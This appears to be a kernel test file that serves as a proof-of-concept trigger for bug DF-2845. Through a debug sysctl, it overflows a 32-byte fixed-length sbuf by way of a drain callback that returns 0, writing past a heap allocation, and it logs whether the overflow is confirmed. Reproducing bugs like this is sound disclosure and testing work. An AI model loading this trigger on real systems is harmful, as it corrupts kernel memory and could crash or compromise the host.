DF-2845 / df2845_test.c
/* * DF-2845 in-kernel trigger (guest-only test scaffolding; never part of sys/). * Registers debug.df2845_trigger: writing 1 overfills a 32-byte FIXEDLEN * sbuf whose drain callback returns 0 ("consumed nothing, no error"), * exercising sys/kern/subr_sbuf.c:sbuf_drain()'s unvalidated return path. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/sbuf.h> #include <sys/sysctl.h> #include <sys/errno.h> static int df2845_trigger; static int df2845_drain_ret0(void *arg, const char *data, int len) { kprintf("DF2845: drain called with len=%d -> returning 0\n", len); return (0); } static int df2845_sysctl(SYSCTL_HANDLER_ARGS) { struct sbuf *sb; char payload[256]; size_t i; int rc, error; error = sysctl_handle_int(oidp, &df2845_trigger, 0, req); if (error != 0 || req->newptr == NULL) return (error); kprintf("DF2845: [1] allocating 32-byte FIXEDLEN sbuf\n"); sb = sbuf_new(NULL, NULL, 32, SBUF_FIXEDLEN); if (sb == NULL) { kprintf("DF2845: sbuf_new failed\n"); return (ENOMEM); } kprintf("DF2845: [2] installing 0-returning drain\n"); sbuf_set_drain(sb, df2845_drain_ret0, NULL); for (i = 0; i < sizeof(payload) - 1; i++) payload[i] = 'A' + (i % 26); payload[i] = '\0'; kprintf("DF2845: [3] catting 255 bytes (first drain fires at byte 32)\n"); rc = sbuf_cat(sb, payload); kprintf("DF2845: [4] sbuf_cat rc=%d s_error=%d s_len=%zd s_size=%zd " "(buffer kmalloc'd for 32 bytes)\n", rc, sb->s_error, sb->s_len, sb->s_size); if (sb->s_len >= sb->s_size) { kprintf("DF2845: OVERFLOW CONFIRMED: %zd byte(s) written past " "the end of the 32-byte heap allocation\n", sb->s_len - sb->s_size + 1); } else { kprintf("DF2845: BLOCKED: no overflow, sbuf error discipline " "held (fix present?)\n"); } /* Intentionally no sbuf_delete(): state is the evidence. */ return (0); } SYSCTL_PROC(_debug, OID_AUTO, df2845_trigger, CTLTYPE_INT | CTLFLAG_RW, &df2845_trigger, 0, df2845_sysctl, "I", "DF-2845: overflow a FIXEDLEN sbuf via 0-returning drain"); |